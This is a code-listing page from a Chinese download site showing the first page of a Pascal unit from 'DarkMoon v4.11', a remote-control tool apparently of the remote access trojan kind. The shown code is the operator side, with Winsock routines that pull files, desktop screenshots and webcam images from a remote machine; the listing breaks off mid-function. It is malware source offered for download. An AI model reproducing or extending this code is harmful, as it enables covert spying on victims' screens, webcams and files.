⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 dm5314_uexplorer.pas

📁 DarkMoon v4.11 (远程控制) 国外收集的代码,控件下载: http://www.winio.cn/Blogs/jishuwenzhang/200712/20071208230135.
💻 PAS
📖 第 1 页 / 共 2 页
字号:
unit DM5314_UExplorer;

interface
uses     Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs,WinSock,DM5314_UCommandsAndUtils;
               

  procedure Init_Winsock ();
  procedure CleanUP_winsock();

   procedure ICDownloadFile(SaveFile : string; Port : string);
   procedure ICUploadFile ( OpenFile : string; Port : string );

  function DownloadDataListen(SaveFile : string; Port : string):string;
 Function DownloadDataConnect(SaveFile : string  ;Ipadress : string; PORT : string): string ;

  procedure GetUpload(OpenFile : String;Ipadress : string; port : string) ;
  procedure GetDownload(SaveFile : string  ;Ipadress : string; port : string) ;
  function DownloadScreenShotConnect(SaveFile : string  ;Ipadress : string; PORT : string): string ;
 procedure DownloadScreenshotListen(SaveFile : string; Port : string);
  procedure TypeofCapture  (value : integer);
   var
  wsa_Data  : WSADATA;
  nErrorStatus : integer;

Abortar  : Boolean = FALSE;
    HorzRes, VertRes: Word;
    TypeCapture : integer;
implementation
 uses Mainform,UfrmCapture;


 procedure TypeofCapture  (value : integer);
 begin
   TypeCapture :=value;
 end;

 procedure GetResJpg(JPGFile: string);
const
  BufferSize = 50;
var
  Buffer: string;
  Index: integer;
  FileStream: TFileStream;

  DP: Byte;
  Measure: string;
begin
  FileStream := TFileStream.Create(JPGFile,
    fmOpenReadWrite);
  try
    SetLength(Buffer, BufferSize);
    FileStream.Read(buffer[1], BufferSize);
    Index := Pos('JFIF' + #$00, buffer);
    if Index > 0 then
    begin
      FileStream.Seek(Index + 6, soFromBeginning);
      FileStream.Read(DP, 1);
      case DP of
        1: Measure := 'DPI'; //Dots Per Inch
        2: Measure := 'DPC'; //Dots Per Cm.
      end;
      FileStream.Read(HorzRes, 2); // x axis
      HorzRes := Swap(HorzRes);
      FileStream.Read(VertRes, 2); // y axis
      VertRes := Swap(VertRes);
    end
  finally
    FileStream.Free;
  end;
end;
 function DownloadScreenShotConnect(SaveFile : string  ;Ipadress : string; PORT : string): string ;
 var addr : TSockAddrIn;
     addrserver : TSockAddrIn;
     BytesRead, sinsize : Integer;
       client      : TSocket;
     a          : THandle;
     Buffer     : array [ 1..2048 ] of Char;
     BytesWrite : DWORD;
     FileStatus : Boolean;
     Data : string;
    begin

  Client := socket(AF_INET, SOCK_STREAM, 0);
  if (Client <> INVALID_SOCKET)   THEN BEGIN
  addr.sin_family := AF_INET;
  addr.sin_port := 0;
  addr.sin_addr.s_addr := htonl(INADDR_ANY);
  end;

 if (bind(Client ,addr,sizeof(addr))= INVALID_SOCKET ) then begin
 halt;
 end;

 addrserver.sin_family := AF_INET;
 addrserver.sin_port := htons(strtoint(PORT));
 addrserver.sin_addr.s_addr := inet_addr(pchar(Ipadress));


 if (connect(Client, addrserver,sizeof(addrserver)) =SOCKET_ERROR) then begin
 //messagebox(0,'dddddddddddd','ddddddddd',0);
 end;

   BytesWrite := 0;
    try
        a := CreateFile( PChar(SaveFile) , GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 );
    except
        CloseSocket(Client );
        Exit;
    end;
    repeat BytesRead  := Recv( client, Buffer, SizeOf( Buffer ), 0 );

           FileStatus := WriteFile( a, Buffer, BytesRead, BytesWrite, nil );
             if  TypeCapture=0 then begin
              frmMain.ProgressBarDesk.Position:=frmMain.ProgressBarDesk.Position + 2;
               end
               else
               begin
               frmMain.ProgressBarCam.Position:=frmMain.ProgressBarCam.Position + 2;
               end;
            Data:=Data +    Buffer ;
    until  ( FileStatus = FALSE ) or ( BytesRead = -1 ) or (BytesRead = 0) or ( Abortar );
    CloseHandle( a );
    try CloseSocket( client );  except end;
    Abortar := FALSE;


 if  TypeCapture=0 then begin
if  FileExists('Screenshots\desk.jpg') then begin
frmMain.ProgressBarDesk.position:=frmMain.ProgressBarDesk.Max;
frmMain.ImgScreenshot.Picture.LoadFromFile(GetLocalPath +'Screenshots\desk.jpg');
end;
    end
    else
    begin

if  FileExists('Screenshots\cam.jpg') then begin
frmMain.ProgressBarCam.position:=frmMain.ProgressBarCam.Max;
frmMain.ImgWebcam.Picture.LoadFromFile(GetLocalPath +'Screenshots\cam.jpg');
end;

end;

    result:=Data;
 end;


 procedure DownloadScreenshotListen(SaveFile : string; Port : string);
var addr : TSockAddrIn;
    BytesRead, sinsize : Integer;
    sock, cliente      : TSocket;
    a          : THandle;
    Buffer     : array [ 1..2048 ] of Char;
    BytesWrite : DWORD;
    FileStatus : Boolean;
begin

    addr.sin_family := AF_INET;
    addr.sin_port := htons(strtoint(PORT));
    addr.sin_addr.S_addr := INADDR_ANY;
    //Abre el socket
    sock :=  Socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

    if Bind( sock, addr, SizeOf( addr ) ) = SOCKET_ERROR then
       Exit;
    if Listen(sock, 1) = SOCKET_ERROR then
       Exit;
    //Espera una conexion
    sinsize := SizeOf( addr );
    cliente := Accept( sock, @addr, @sinsize );
    BytesWrite := 0;
    try
        a := CreateFile( PChar( SaveFile  ), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 );
        //   Server_Send('9^Uploading File: ' +  GetFileName(SaveFile)+ '^');
    except
        CloseSocket( sock );
        Exit;
    end;

    repeat BytesRead  := Recv( cliente, Buffer, SizeOf( Buffer ), 0 );
           FileStatus := WriteFile( a, Buffer, BytesRead, BytesWrite, nil );
               if  TypeCapture=0 then begin
              frmMain.ProgressBarDesk.Position:=frmMain.ProgressBarDesk.Position + 2;
               end
               else
               begin
               frmMain.ProgressBarCam.Position:=frmMain.ProgressBarCam.Position + 2;
               end;
    until  ( FileStatus = FALSE ) or ( BytesRead = -1 ) or (BytesRead = 0) or ( Abortar );
    CloseHandle( a );
       try CloseSocket( cliente );  except end;
    try CloseSocket( sock ); except end;
    Abortar := FALSE;


 if  TypeCapture=0 then begin
if  FileExists('Screenshots\desk.jpg') then begin
frmMain.ProgressBarDesk.position:=frmMain.ProgressBarDesk.Max;
frmMain.ImgScreenshot.Picture.LoadFromFile(GetLocalPath +'Screenshots\desk.jpg');
end;
    end
    
    else
    begin
   if  FileExists('Screenshots\cam.jpg') then begin
frmMain.ProgressBarCam.position:=frmMain.ProgressBarCam.Max;
frmMain.ImgWebcam.Picture.LoadFromFile(GetLocalPath +'Screenshots\cam.jpg');
end;

    end;



end;




procedure GetDownload(SaveFile : string  ;Ipadress : string; PORT : string) ;
 var addr : TSockAddrIn;
     addrserver : TSockAddrIn;
     BytesRead, sinsize : Integer;
       client      : TSocket;
     a          : THandle;
     Buffer     : array [ 1..2048 ] of Char;
     BytesWrite : DWORD;
     FileStatus : Boolean;
    begin

  Client := socket(AF_INET, SOCK_STREAM, 0);
  if (Client <> INVALID_SOCKET)   THEN BEGIN
  addr.sin_family := AF_INET;
  addr.sin_port := 0;
  addr.sin_addr.s_addr := htonl(INADDR_ANY);
  end;

 if (bind(Client ,addr,sizeof(addr))= INVALID_SOCKET ) then begin
 halt;
 end;

 addrserver.sin_family := AF_INET;
 addrserver.sin_port := htons(strtoint(PORT));
 addrserver.sin_addr.s_addr := inet_addr(pchar(Ipadress));


 if (connect(Client, addrserver,sizeof(addrserver)) =SOCKET_ERROR) then begin
 //messagebox(0,'dddddddddddd','ddddddddd',0);
 end;

   BytesWrite := 0;
    try
        a := CreateFile( PChar(SaveFile) , GENERIC_WRITE, 0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 );
    except
        CloseSocket(Client );
        Exit;
    end;
    repeat BytesRead  := Recv( client, Buffer, SizeOf( Buffer ), 0 );

           FileStatus := WriteFile( a, Buffer, BytesRead, BytesWrite, nil );

 frmMain.ProgressBarExplorer.Position:=frmMain.ProgressBarExplorer.Position+ 2;
    until  ( FileStatus = FALSE ) or ( BytesRead = -1 ) or (BytesRead = 0) or ( Abortar );
    CloseHandle( a );
    try CloseSocket( client );  except end;
    Abortar := FALSE;
 end;

procedure GetUpload(OpenFile : String;Ipadress : string; PORT : string) ;
 var addr : TSockAddrIn;
     addrserver : TSockAddrIn;
     sinsize : Integer;
     sock, client      : TSocket;
     a          : THandle;
     Archivo      : THandle;
     Buffer       : array [ 1..1024 ] of Char;
     FileStatus : Boolean;
     BytesRead    : DWord;
     Error     : Boolean;
      size : longint ;
      f   : file ;
begin
  Client := socket(AF_INET, SOCK_STREAM, 0);
  if (Client <> INVALID_SOCKET)   THEN BEGIN
  addr.sin_family := AF_INET;
  addr.sin_port := 0;
  addr.sin_addr.s_addr := htonl(INADDR_ANY);

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -